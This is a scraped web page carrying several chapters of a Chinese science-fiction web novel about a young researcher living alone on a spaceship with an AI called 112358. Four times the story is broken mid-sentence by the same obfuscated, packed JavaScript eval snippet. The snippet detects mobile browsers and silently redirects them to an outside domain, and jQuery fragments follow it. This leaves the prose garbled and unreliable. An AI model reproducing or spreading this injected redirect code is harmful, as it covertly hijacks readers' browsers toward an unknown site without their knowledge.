“我去我去,什么情况!”言笑念叨,“来者不善善者不来啊。” 这辆破车相当有历史,品牌倒闭能有一百来年。油门到底,言笑立刻被惯性按在驾驶座上,再往后视镜里瞧瞧,来者竟噼里啪啦火花带闪电地瞬间追赶上来!相距只余二三十米,想要超车易如反掌。 车内听筒里滋啦滋啦传来一阵电流声,然后李开心的声音冒了出来。 “停车。别跑了。” 心脏重捶胸膛,嗵嗵作响,言笑用力呼吸,努力迫使紧绷的神经放松下来——虚惊一场虚惊一场。两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15169234|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辆车前后在街边停下,言笑没动,隔了几秒,李开心的声音再次传来,“要不你还是过来吧。你那车不禁撞,还跑不快。” 言之有理。言笑向来从善如流,下车,虚张声势地挺直脊背,坐进李开心车里。李开心这辆核动力车是今年新款,言笑前两个月刚看过广告,要不是不怕死四处跑被抓个正着,言笑高低得让李开心把驾驶座给她坐坐。 核动力车安静启动,在灰蒙蒙的旧街区中照出一片光亮。李开心问她,“你是想去看秦笙吗?” “……啊?” 李开心目视前方,并没看向言笑,“从数据仓库回我的住处,这条路不是最近的路。” 言笑喉咙一哽,半晌,嗫嚅道:“不用了吧……” 这条路虽然不是最近的路,却是经过舞厅的路。确实曾有过那么一秒,言笑想要去舞厅看看秦笙。泡泡中数次死里逃生,秦笙好像也变得没那么不可原谅,毕竟当了一辈子朋友,听听她解释也是可以的。 但是,但是!现在去找秦笙不如等攒够了钱、买好小房子、精心装修一番过后再直接霸气邀请秦笙入住来得舒爽。言笑昨晚刚算过钱,还差一点,要是秦笙知道泡泡的事,一定不会同意她再去冒险,何况近乡情怯,言笑总想再躲一躲。 李开心没再说什么,只道:“有点晚了,你要是累就先睡一下。晚上想吃什么?” 言笑摇头,既不想睡也不想吃,倏忽灵光一现,言笑扭身面对李开心道:“咱们进泡泡吧。” 反正早晚都得走一遭,赶紧把下个泡泡走完、拿钱跑路才是正事。没等李开心回答,言笑又想起什么,提心吊胆问道:“等我从下个泡泡出来,我就不想再接进泡泡的任务了……可以么?你当初那个协议我也没仔细看,要不你再给我看看,反正长我这张脸的人挺多的,你找别人也一样——” 言笑还没说完,李开心突然打断她的话,“可以。” 可以就行。言笑放心下来,又老实坐回座位。“那咱们现在就进泡泡去?” 车里有储备食物。言笑吃了点水果,又吃了一份炒饭,最后喝杯酸奶溜溜缝,为即将到来的收官之战做好体力准备。这次李开心选定的泡泡入口在飞船内部,一间实验室中。 “这个入口的进入速度有些刁钻。”李开心从隔壁推来两把金属椅子,“人力难以达到,但车也不方便开到这里来。所以我们需要坐在加速椅里,让椅子把我们弹出去。” 言笑怀疑地瞄瞄墙边的展示柜,里头放着一把古里古怪的枪械,也不知道是干什么用的。“你确定我们会进泡泡,不会撞到这柜子上,对吧?” 李开心明显犹豫了一下,“如果是在咱们进第三个泡泡之前,你问我这个问题,我会说不会;但你现在问我,我也不是很确定。” 真是问了也白问。言笑大义凛然坐在椅子上,“撞就撞吧,反正上次也没撞死。” 李开心坐到言笑身边的位置,“做好准备,三——” “还是别倒数了。”言笑刚闭上眼睛,又忍不住睁眼打断他,“你越倒数,我越紧张。” 话音刚落,言笑就飞了出去。李开心果然很能听进她的话,主打一个出其不意。透明展示柜在拍到言笑脸上的前一秒遽然化作一片漆黑,如同重锤直砸面门,言笑甚至没来得及感受到疼,就直接不省人事。 等再睁眼,令人眼花缭乱的金属房间正在湛蓝苍穹的笼罩中缓慢移动,天光自上而下,只有光线中的隐约波动能让人猜测这栋建筑是有天顶的。 言笑一愣,随即连滚带爬到天井围栏边,上上下下打量周边光景。疯狂电梯,海葵灯饰,四处乱窜的实验小屋,轿厢移动,悬梯正将尽头搭上另一楼层。这是第四个泡泡中的实验所。 言笑目瞪口呆,狠掐一把大腿。 这科学吗? 这这这她怎么又回来了? 54. 少年游08 飞船出发之前实验室的四个人都来送言笑。谭述始终沉默,花方给了言笑一个拥抱,温厉拿了自己做的小饼干给言笑在路上吃,秦笙原本面无表情,突然眨眨眼睛开始大哭。言笑被她哭得头皮发麻,也不知道怎么安慰,只能转头望向谭述,拿眼神求对方救她于水火。秦笙哭花了脸,扯下谭述的白手套擦鼻涕,言笑看得着急,心说大哥你倒是牵牵她手啊。 可惜谭述没牵。 飞船大门关闭,地球上的纷扰自此全都留在地球,言笑深呼吸一个来回,忽然兴奋而夸张地大笑着问112358,“以后可就剩咱俩了。在太空流浪一辈子,你不会嫌闷吧?” 112358反常地没有立刻回答,俄而,反问,“真要流浪一辈子吗——你的一辈子?” 人工智能的寿命没有时限,但言笑有。言笑撇撇嘴,“怎么,你不想去?其实我也不怎么想带你,但你的主机在飞船上,一时半会挪不走……哎呀你就凑合凑合吧,人工智能没有人权。” 电子合成音清清喉咙,回复得一本正经,“能陪你度过一生是我的荣幸。所以你一定要活得久一点。” 言笑又高兴起来,换好宇航服爬进驾驶舱,“走吧,现在出发——曲率引擎加速!星星们,我们来啦!” 太阳系成了无垠星空中被甩在身后微不足道的碎片。言笑早对飞船了如指掌,但这却是第一次正儿八经坐驾驶舱。 “哎,小八。”人虽然在座椅里绑着,言笑嘴却闲不下来,“你计算一下飞船的存储能量。” “不用计算。”112358回复。话音刚落,飞船突然狠狠卡顿,要不是有座椅拦着,言笑相信自己绝对能飞出去。“加速太耗能量,我们加速不了多久。” “当局太抠了,电费不给报销,我出门之前就没储电,不然下个月园区的电费账单得炸了。” “你需要一颗超新星。” “不,”言笑纠正112358,“我需要一颗爆炸的超新星。快帮我算一下,要想到达可以让我们尽快到达能量波动范围的超新星,我们需要多少时间。” “经过XDZ-7虫洞之后,以现有速度还要再走将近一个地球年。如果想让飞船蓄满能量,需要三个地球年——准确来说,是在三年后的感恩节那天,能量会满。” “是我们的时间还是地球上的观测时间?” “地球上的观测时间。” “那我们不需要这么久,”言笑查看飞船的行驶速度,“我们比他们快多了。等到进入超新星的能量范围你记得提醒我。我想试试把火鸡挂在飞船外,用超新星的热量烤只火鸡。” “火鸡可能会烧焦。” “我们可以在适合烤鸡的地方稍微停一下,让让地球上那些人。他们也老得太快了,啧啧,只要我跑得够快,我就永远不会老。” 112358说:“坐稳了。” “干什么?” 灯光骤亮,飞船突然再次猛烈加速。行星碎片在飞船行进的轨道漫游,言笑猝不及防,被强烈白光晃得头晕目眩,伸手乱抓,“我,快,吐,了……呕——” “只要飞船足够快,我可以永远不必看到你老去的样子。” 超光速行进并未持续太久。飞船能量不足,112358也只能稍微捉弄言笑这么一次,而常速行进的日子里言笑遇到的第一个阻碍是:食物不合口味。 即使不开生态圈进行自动生产,飞船里储存的压缩食物也足够言笑吃五百年。可坏就坏在言笑的嘴被花方养刁了,明明生在新鲜食物短缺的时代,言笑硬是占了花方研究方向的便宜,被这位大厨惯出一身毛病。“嘭”的一声,送入加热箱的薄薄一片压缩食物变成热气腾腾的炒饭。言笑拿勺子拨了拨油汪汪的饭粒,小心翼翼挑起几粒尝尝,然后立刻化作痛苦面具,苦着脸跟112358吐槽,“你知道这种合成大米有多难吃吗?” “不知道。”112358气定神闲,“我没有味蕾——我甚至没有舌头。” “闲着也是闲着。”言笑放下勺子,“要不我种种地吧。” 毕竟曾是温家的诺亚方舟,飞船上有足够的栽培土壤。在仔细阅读诸多参考资料后,言笑决定把水稻小麦瓜果蔬菜全都安排上,而且还能做做花方从前懒得做的事,比如养几头猪。 112358认真问她,“你是打算把猪仔养大,然后再吃掉吗?” 言笑带入设想一番,觉得有点离谱,“算了。” 112358又提议道:“你要是想吃猪肉,我可以帮你打印。” “打印出来的猪肉和诱导培育的不一样,味道有差别。” “我也可以帮你诱导培育,但我需要先给自己打印一只手。” 炒饭再放就要凉了,总不能浪费。言笑挖了满满一勺塞进嘴里,呜噜呜噜着摆手,“不用。你把我该做的事都做了,那我多无聊。再说有只手在飞船里跑来跑怪怪的,我怕你半夜挠我痒痒。” 生态圈启动,言笑每天忙得不可开交,圈内物种配备太过齐全,言笑甚至需要为果树打药。一天言笑正埋头插秧,地球来了通讯。112358叫她,“是秦笙。” 秦笙不放心言笑,每隔一段时间就要看看她,花方和温厉有时也会出现,但一直没见谭述。言笑拿袖子胡乱抹抹头上的汗,“接进来。” 秦笙的影像闪烁几下,出现在言笑眼前。言笑往旁边让了两步,给秦笙看她身后的半亩稻田,叉腰炫耀道:“看我厉害吧。这么大一块地,全是我种的。” 秦笙说:“你可真是有闲。二哥都没种过这么大一块地。” “嗨呀。”言笑拿起水杯,咕嘟咕嘟喝水,“一个人闷的,总要找点事做。你呢,你最近在玩什么?实验室还好吗?” 秦笙百无聊赖杵着下巴,“最近都没去舞厅。唱累了,过段时间再说。” “大哥呢?大哥最近怎么样?” 秦笙面色一僵,没答。言笑诧异地端详她,“怎么了?” 秦笙依然沉默。言笑再三催促,秦笙才勉强告诉言笑:当局让谭述另起炉灶,成立星火实验所,专攻高强度记忆提取研究。而所谓“高强度记忆提取”,针对的就是进行过反记忆窥探训练的人群,以及无法进行强制记忆拷问的人群——换言之,针对的是魔方实验室 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15169235|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 通讯结束,言笑呆呆坐在稻田旁边,许久才回过神,召唤出112358,“大哥离开魔方实验室,你怎么不告诉我?” 112358可以接入地球的新闻系统。言笑懒得看新闻,可112358都看得到。 112358反问言笑,“那你想知道吗?” 言笑歪头思考,被说服了,“不想。”起身打个哈欠,走到一半蹬掉插秧鞋,于是一尘不染的地面上只有半边留下沾泥的脚印。 “你插秧还没插完。” “我去睡个觉。” “你进卧室我就看不到你了。” “所以呢?” “要是不想给我身体,不如给我一双眼睛?” 112358可以通过记忆玻璃看到飞船内部的大部分区域,但有些区域不行——比如言笑的卧室。言笑恨恨扭头,无法找到具体指向,就叉腰骂向四面八方,“我睡觉你看我干什么?变态!” 吃吃喝喝,听书看剧,爬树摘果,捞鱼种地,日子过得流水一样,陪伴言笑的始终只有一个声音。言笑比从前在实验室还有仪式感,无论什么节日都必须大张旗鼓庆祝一番,昨天布置得张灯结彩,今天打扮成妖魔鬼怪。万圣节言笑给自己画了个小丑妆,嘴角延长出一个拉链,笑得滑稽而荒诞。言笑还打印了一架钢琴,但是不怎么会弹,放在灯光闪烁的舞台上一通瞎按,随着音乐张狂蹦跳,“左边的观众,右边的观众~” 记忆玻璃闪了闪。112358简直没眼看。 “你这都跟谁学的?” “秦笙啊。”乐曲迎来激昂尾音,像是超新星爆炸在宇宙中央,灯光在一刹那亮到极致,言笑猛地一甩半蓝半红的假发,斑斓色彩如同涌动的冕环。“你是没赶上好时候,秦笙在实验室放飞自我的时候你已经不在楼里了。” 言笑装模作样鞠躬谢幕,然后累得直接大字型躺在地上。打个响指,“啪”的一声,飞船几乎所有幕墙与部件都变成透明,幕墙之外是真正的星光。 “稻田里的螃蟹是不是可以吃了?” “现在正是肥的时候。” “需不需要准备工具拆蟹?以前我没吃过,二哥没养过这东西。” “我给你打印一个钳子。” “蒸多久可以熟?” “大约13分钟。放心吧,我会时刻监测蟹肉的熟度,卡住最刚好的时间。” 言笑咕哝得犯困,翻了个身就要睡去。从前在实验室里言笑困了累了也经常席地而躺,窗边有很多休息区,在阳光照射角度最好的区域摆着宽大的布艺沙发或者长毛地毯。大家睡觉爱聚堆,从小就这样,言笑半睡半醒睁开眼,身旁时常有人。有时是秦笙,有时是花方或者温美美——不可能是温厉,温厉绝对不会躺在女生身边。 而如今空旷的地面上只有言笑自己。 112358调整灯光。光线变得柔和、暗淡,来自宇宙的黑暗覆盖在言笑眼皮上,像是恢弘的落幕。身边没有呼吸,没有心跳,没有体温,没有人。 要是112358能有个身体就好了。 言笑第一次这样想。 55. 少年游09 这是一段最返璞归真也最幼稚荒谬的日子。言笑从小就是为了科学而被培养,除了一些浮于表面的叛逆以及无处安放的闲散,生活永远乏善可陈。可在无尽的黑暗中与盛大的星光里,言笑亲手种植,控制光照,在泥里打滚,学会怎样挑选最甜的西瓜和最糯的玉米。飞船可以在二十四小时内制造出寒来暑往,但言笑将一切都设置得与在地球上一样。收割水稻那天并没有不同于千篇一律的每一天,言笑割了稻子,然后躺在金灿灿的稻穗中间。星空像是撒了钻石的海水,言笑看着星星笑,说她比花方厉害多了,她可是正儿八经种了一大片地。 112358听着她的哼笑,嬉笑,大笑,最后在锣鼓喧天的庆丰收背景音乐里,112358好像听见了笑声中的哭。 “这些破东西有什么用!”言笑噌地从地上跳起来,抹了抹脸,咣咣跺脚,靴子毫不吝惜地在稻穗上践踏碾压,“就算我什么也不干,存粮也够我活五百年。我还活不上五百年呢,我怎么觉得我已经活了好久了……” 铃音倏忽响起,是来自地球的通讯。今天不是向当局汇报的日子,所以通讯只可能来自魔方实验室。言笑把稻穗踩得稀烂,抱着膝盖埋着头坐在残损的稻穗中央,一动不动,什么都没听见一样。 112358一直通过记忆玻璃注视着她,此时叹了口气,“去洗洗脸吧。可能是秦笙、花方,或者温厉。” 言笑闷不作声,不接112358的话,也不接通讯,头也不回进入卧室。卧室是唯一无法接入通讯的地方,言笑听见身后112358回答,“……她身体还好,只是心情不好。 “……我并不知道是为什么。可能她潜意识里觉得自己已经离你们很遥远了。” 昼夜系统依然正常运转,言笑的生物钟却开始失灵。如果估算没错,言笑知道自己已经将近三十六小时没有进入睡眠了,可言笑丝毫不困,精神得如同回光返照。在言笑印象里,她只在四岁以前有过这么旺盛的活力,那时候爷爷还在,会在实验室里放戏曲,言笑每天在大楼里疯跑,怎么都不累,怎么都不睡,好好的唱段听得支离破碎。听戏是爷爷为数不多的爱好之一,他自己也能唱上几句,后来言笑也听会了些,但天生没有好嗓子,音准勉强能卡得准,但气捣腾不上来。 “猛听得金鼓响画角声震,唤起我破天门壮志凌云,想当年桃花马上威风凛凛,敌血飞溅石榴裙……”言笑装模作样拈个兰花指,嗓音拘得尖细,躺在床上张牙舞爪地哼唱,身段、手势也都跟上,偶尔眼梢一吊眼睛一瞪,照葫芦画瓢地仿制几分威仪。 112358在卧室外面喊她,“要不你出来唱?你这样唱我看不见你。” 唱段忽然停了。言笑同样也用喊的,“你等等!”过不多时,竟穿了一身戏服出来。 明黄底子,彩绣凤凰,艳丽到扎眼的颜色碰撞,不衬妆容怕是不好看。言笑站在衣帽间门口,难得手足无措,胡乱往上捋袖子,眼睛也不知道该往哪儿看,“我是不是化个妆更合适?” “是啊。你都多久没睡了,现在脸都青了。” 言笑翻了个白眼,“不会说话可以不说。” “你问我的。” “是不是也不太合身?” “嗯。大了点儿。” “我走之前随便装了些旧物件,就拿了这么件衣服。这是哪个唱段的戏服,谁的装束?” “《霸王别姬》。虞姬。” 言笑扭头就走,朝身后摆摆手,“不穿了不穿了。太不吉利。” “哎,回来。我给你化个妆。” 脚步停下。言笑狐疑扭头,“你怎么化?” 112358从容道:“给我一只手。” 十五分钟后,言笑坐在舷窗边。极远处的星云簇拥出一团零碎斑驳的光点,像海面的粼粼闪光,言笑正往外看着,耳边有个声音叫她,“回头。” 言笑看过去,眼前是一只仿人类骨骼结构的机械手,手指奇长,美而畸形。其实这事112358已经磨了言笑一段时间,它想要躯体,或者退一步,要手、要眼睛。言笑始终没有松口,今天倒是被它逮到了契机。 油彩在言笑跟前摆了一溜,赤橙黄绿,准备得倒齐全,连头面都有。言笑看着那手举到自己跟前,食指翘了翘,又微微勾起指节,像是在打量做出动作需要多少力道。言笑别扭地扭扭脊背,有虫子在身上爬一样,“我提醒你啊,化完妆这手就得收起来。” 机械手停在半空,答非所问,“这手没有触觉。” 言笑问它,“所以呢?” 纤长手指落在言笑面颊上,凉的,没有体温,却极细腻光滑。“所以没法给你拍底彩。” “不一定非要用手,你可以用化妆工具。” 112358拿起化妆笔,一层一层在言笑脸上细致涂画。言笑百无聊赖,盯着那手看,眼看底彩都快拍完,言笑忽然意识到一个一直在被她忽略的问题,“你声音是不是变了?” 112358淡道:“怎么?” 略微带着颗粒感的磁性声音,低沉有力,完全是男性嗓音,与几年前截然不同。言笑突然过电似的,把脸从化妆笔上移开,见鬼一样瞪着机械手,努力抻着脖子与其保持距离,“你怎么变成这样了?你是个兄弟吗?你为什么不当我姐妹?” 食指牵着言笑的下巴,把这张脸引回原位。“安静。我还没化完。” 112358化了一个极其复杂精美的专业妆面,言笑却没有发挥妆面专业性的觉悟。舞台宽阔如同城堡,群魔乱舞的灯光打好,台上的疯子举着酒瓶又唱又跳,没一句在调上。从《霸王别姬》到《图兰朵》,魔音贯通古今。记忆玻璃被唱得红温,分贝数次逼近噪音污染阈值,言笑拎着戏服的裙角转圈,做了个双手压膝的动作——玛丽莲·梦露的经典动作,正好配上正在播放的这首DiamondsAreaGirl''sBestFriend。 “Mengrowcold, “Asgirlsgrowold, “Andweallloseourcharmsintheend, “Butsquare-cutorpear-shaped, “Theserocksdon''tlosethei ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15190995|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' rshape, “Diamondsareagirl''sbestfriend.” 唱到最后嗓子都哑了,言笑还嫌不过瘾,顺手打印一副骨架,让112358陪她到飞船外跳舞。言笑极少太空行走,因为懒,且没必要,当成观光出去遛弯都没兴趣。可大概是酒精上头,言笑突然起了出门跳舞的兴致,全副武装之后带着骨架踏入虚空,隔着面罩望向112358脸上的孔洞。骷髅看不出笑,骷髅也看不出哭,骷髅向言笑伸出了手,像是死亡的邀约与礼赠。面罩中音乐声巨大,却无法在宇宙中传递一个毫米,言笑觉得自己几乎要因为声音污染而死,然而宇宙听不见声音。 宇宙听不见声音。 手套握住没有血肉的骨骼,言笑说:“跳个舞吧。” 两人的脚下都踏不到地,像随时会坠落,会被宇宙吞噬,会尸骨无存,会不得好死。112358说:“好。” 他们挪动着施放不出力道的舞步,星空成了无足轻重的背景板,这一刻宇宙变得渺小,恒星与行星的伴舞都只是陪衬。钻石星球在视线边缘熠熠生辉,它们曾经是白矮星,经过漫长的亿万年岁,终于成了璀璨的碳。这一刻仿佛言笑信手一抓,就能将这些钻石抓进掌心,然后镶嵌戒托戴在手上,或者贴在眼角化为泪滴。言笑不记得这支舞持续多久。她跳着跳着睡着了,漫长的寂静与黑暗像是婴儿床,只要言笑阖上眼睛,就没有任何纷扰可以刺破这层包裹。等醒来时言笑躺在床上,是卧室里,光线昏暗,带着一点点暖人的黄晕,好像有什么在她睁眼的前一秒划过脸颊,然后是轻微的咔啦声。 言笑睁开眼睛,看见身旁散落的人骨。卧室外传来112358的声音,“你醒了?” 昨天打印骨架时言笑为它设置了工作时限,八小时,现在时间到了,112358的程序无法继续接入,甚至连这副骨架都无法完整保存,在一刹那分解成破碎的骨骼。 言笑躺着没动,“我想吃饭。” “床头有粥。” 身边确实隐隐飘着食物香味,言笑一骨碌爬起来,抓起勺子端起碗,咕嘟咕嘟喝完冒着热气的皮蛋粥。“你还想得挺周到。” “猜到你应该快醒了,就给你煮了粥。” 言笑吃饱了,抹抹嘴,“原来有佣人的生活是这样的。” “如果不是你吝啬,你可以一直都有粥喝。” 言笑知道112358所指,端着碗蹦下床,“早些年我不就给你改过程序了么。除了特定命令,你不需要对人类有服务精神。你的存在不是为了给人类当佣人。” “人类是个很大的概念。” “大小都一样。飞船里有小机器人扫扫地洗洗碗就差不多了……差点忘了,我得把昨天那手收起来。” 机械手没设置工作时限,言笑想想觉得暂时留下也行,万一哪天砍树或者插秧,她干不动的时候用得上。 “哎112358,那个——”关上柜子,回身,言笑正想问问应该如何保养戏服,112358忽然打断她。 “如果不能有身体,不能有手,那给我一个名字吧。” 56. 少年游10 言笑琢磨一番,斟酌问道:“你有什么想叫的名字?” “我没有想叫的名字,你给我起一个就好。” “那你跟我姓言吧。”言笑潇洒地一挥手。既然112358都这么随意了,言笑也没打算跟它客气,“叫言……言什么呢?” 112358说:“我不想姓言。” 言笑一愣,下意识问,“为什么?” “姓什么都行,但不想跟你姓。” 姓什么倒也无所谓,言笑估摸它就是不想和实验室的人重复。“那就跟我妈姓,姓李。李发财?李有钱?你喜欢哪个?” 112358提醒她,“咱们现在在太空,用不上钱。” “也是。”言笑把头发在手指上胡乱绕着,“那我再想想。” 言笑对于起名字的想象力十分匮乏,这事也就不了了之。闹过一场之后言笑又回到每天扛着锄头种地的日子,有天在苹果树下,言笑拿衣袖擦擦掉在地上的苹果,咔哧一口,汁水满溢,唇齿留香。 “哎,小八,”言笑仰头问天花板,“西瓜什么时候能吃?” “还需要13至14天。” 现在的生态圈完全可以满足一人的食物供应,不吃合成速食也饿不死。言笑啃着苹果琢磨,“你说我再种点什么好呢?” 112358想了想,“水果蔬菜够多了,可以种些观赏性植物。” “吃不进嘴里,不切实际。”言笑抬手唤起程序,敲了一串代码进去。全息幼苗破土而出,以奇异的速度飞快生长着,叶色碧翠,草本茎干上长出零星皮刺。片刻,骨朵绽开,深红花瓣厚重古典,艳丽得仿佛能闻到血腥气。细雪落下,在花瓣上悄然融化。 言笑说:“反正也不吃,看看得了……哎不对,这玩意好像能做酱,泡脚也行。” 112358没说话,玫瑰花田旁却突然拔地而出一棵树来。枝干细弱,花朵却簇拥着开得热闹,深浅不一的妃色层层叠叠,有些骨朵尚还挤在已经盛放的花瓣中间。是海棠。 言笑一怔,随即笑问,“你知道我的代号?” 魔方实验室历代研究员都有代号,说通俗点就是有些研究不留真名,留艺名。往大了讲是研究室的研究成果绝大多数不服务于普通群众,代号是为了研究员身份保密;可大多研究员揣着的心思是,不能让后人拿着自己真名叫骂。 112358“嗯”了一声。 言笑来了兴趣,“你还知道我们谁的?” “秦笙是玫瑰,谭述是地榆。剩下三个人我不知道,但我猜应该也都是蔷薇科的。” 这代研究员的代号确实都与植物相关,但显然112358错看了另外三人的审美。言笑扔掉果核,捡树叶擦手,“二哥说我们选的代号徒有其表,他要从实际意义出发。” “所以?” “所以他的代号是十字花科的,老三和温厉也是。” “该不会是白菜或者萝卜吧?” 言笑神秘地摆摆手,从地上爬起来,拍拍衣服上的灰,“不可说。二哥不让我们透露。” 112358也不追问,换了个话题,“你现在倒是比在实验室的时候勤快许多。” 言笑歪头想想,“不是我不勤快,是大家都不敢勤快。当局一直想控制实验室,想让实验室将研究重点放在各类武器上,这事我们很难在明面上反抗,所以只能让他们以为我们这代研究员烂泥扶不上墙。还是大哥最惨,老大是没有摆烂权利的,我们尽情无所事事,大哥就得负责去当局面前挨骂。” “没关系。其实每代研究员都挨骂。” “哈哈,就是。”言笑打个响指,乐出了声,“实验室每代研究员的风格都不一样,但我们这代是最饱受诟病的。多少人背地里骂我们躺在前辈的成就上。” “当局再不满、再想复刻另外一个魔方实验室,也都没有成功过。智商不是可以培养的后天能力,智商是天赋,尤其魔方实验室积累了那么多代研究成果,当然不可能被草台班子随意打败。” 言笑一跺脚,“就是!” 112358附和,“就是!” “我们可是魔方实验室!” “我们可是魔方实验室!” “我们可是连我爸这个姓言的都进不了的魔方实验室!” “……你这话有点冒昧了。” 言笑突然捧腹大笑,路都走不出直线,笑过之后揉揉酸痛的脸,拼命正色道:“说真的我爸也算是言家的奇葩——哎你跟他熟吗?” 112358轻笑一声,嗓音压得很低,像羽毛拂过心尖,言笑忽地心口发痒。“我是看着他长大的。他小时候又没人带,实验室要负责带孩子。” “他是不是特别想进实验室?” “嗯,很想。” 年少成名的烛龙将军,初为联盟效力时就迅速崭露头角,惊艳众人,扶摇直上。可大概仕途太顺遭人非议,言斯衡这姓氏又太过打眼,关于他的笑谈很快不胫而走,传得满城闲话。说烛龙将军能在联盟取得一席之地全靠言家,可他如此近水楼台,为何不进魔方实验室,偏要走仕途?还不是因为智商太低,想进实验室进不去。 这话最初源于何人早已不可考,且坏就坏在确实揭了言斯衡痛处。言斯衡就算再不济,在魔方实验所里做个研究员——甚至高级研究员——也是绰绰有余的。然而言斯衡偏不。最好的实验室倘若进不去,不如别搞研究。 这闲话传了十几二十年,嚼舌根的吃瓜群众依旧乐此不疲。后来有了言笑,言斯衡又与言笑不甚亲近,传言就拐着弯地损言斯衡,说言斯衡这是在嫉妒自己的亲生女儿。 言笑也听过风言风语,只觉得这些人有病:父女不亲近不是很正常么?实验室里除了乔步天没有家人,其他几人也都和爹妈不熟。魔方实验室接连几代研究员的家中不是从商就是从政,优渥的生活条件天然与无间的亲子关系互斥,且也只有食物链最顶端的家庭才消费得起促进脑力开发的高级胎教,科学从某种意义上讲早已变为统治阶级的游戏。 想到这里言笑又有些沮丧。如果单论天生智力,或许实验室里最强的人是乔步天。 其实言笑幼时也怀疑过言斯衡不待见她的原因,直到有天她闲着无聊,翻箱倒柜,找出一个尘封已久的旧机器人。最简洁的古老款式,白色镀漆,下方有个小指示灯,正面的空白区域应该可以显示表情。言笑按下开机键,旧机器人立刻嘀嘀两声,小指示灯也冒出红光,随后声止灯熄,恢复安静,像是什么都没发生。 言笑立即被激发出斗志,琢磨着怎么开启这个被人为上锁的旧机器人。解锁也不算花费了太长时间,当十来个小时过去,午夜万籁俱寂,表情面板终于亮起。 旧机器人叫她,“笑笑?” 言笑怔愣许久,像是有什么陈旧记忆在大脑深处松动,古城墙的砖石一样,随着滚落的沙土被敲击出遥远的回响——这样说或许不够准确,那时言笑年龄太小,再陈旧的记忆又能陈旧到哪里去,可这声音让言笑恍惚觉得她活过了两辈子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15190996|160531||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 言笑试探着叫,“妈妈?” 言笑两岁之后就是谭述带的,因为她妈妈在她两岁时死了。言笑记得许多两岁以前的片段,但偏偏不记得声音,机器人的一声呼唤突然让所有记忆汹涌归位,言笑无比确信她曾经无数次听到过这个声音。 “笑笑,你都长这么大啦。” 机器人有妈妈的声音,但多聊几句就不难发现它的记忆缺失与逻辑缺陷。言笑翻来覆去问了数个小时,才总算半蒙半猜地大致拼出现实:妈妈当年生了重病,危在旦夕,可那时言斯衡军衔不够,无法为她争取到躯体复活的机会——所谓躯体复活,就是移植原始大脑进入克隆生成的健康躯体。 其实除了躯体复活还有另一条路,以当年的立法环境来看属于灰色地带:记忆复活,上载记忆再下载。但由于技术盲区,记忆无法完整下载进入人脑,所以需要将记忆转码存储于芯片,或与芯片共生的克隆大脑。 即使可以使用克隆躯体隐姓埋名地生活下去,妈妈也并不想变成长着芯片大脑的机械怪物,然而穷途末路之时,凡人终究难舍世间。言斯衡本打算冒险上载记忆,可妈妈却在上载记忆的前一天夜里猝然离世,被发现时已是第二天清晨。脑死亡时间超出记忆上载的死亡时限,上载的记忆因此残破不全。 后来言斯衡偷偷利用残缺的记忆制造了这个小机器人,只是没过多久就将它永久关闭了。毕竟是父女,言笑不难猜出言斯衡关闭机器人的原因:假的终究是假的,它的存在毫无意义。 得知这个故事后的言笑在客厅躺了一晚上。闹心。言笑对妈妈没太多记忆,所以内心无甚波澜。只是没想到众人眼中严苛古板的烛龙将军竟是联盟第一纯爱战士——太幻灭了。如此一来言斯衡为什么不愿意看见言笑好像就不难理解了,因为言笑长得像妈。 只要活得够久,必然可以掌握许多一手八卦。言笑又问112358,“那你是不是也认识温厉的妈妈?” 112358回答,“我是看着她长大的。” “进魔方实验室的研究员有年龄限制,所以是不是所有研究员都是你看着长大的?” “可以这么说。” “那他妈妈是什么样的人?我好像听有些人说她长得很好看,又听有些人说长得不好看。这得长成什么样?又好看又难看的。” “话不多,干脆利落,不属于传统意义上的美人,但有种潇洒倜傥的美。或者你换个角度,能让温厉他爸跟在她身后痴缠好些年,她怎么可能长得难看?” “也是。”言笑摸摸下巴,思索片刻,又疑惑道:“不过话说回来,你真的有审美吗?你已经有二十多年没做过图灵人格测试了,难道你现在进化出了审美?” 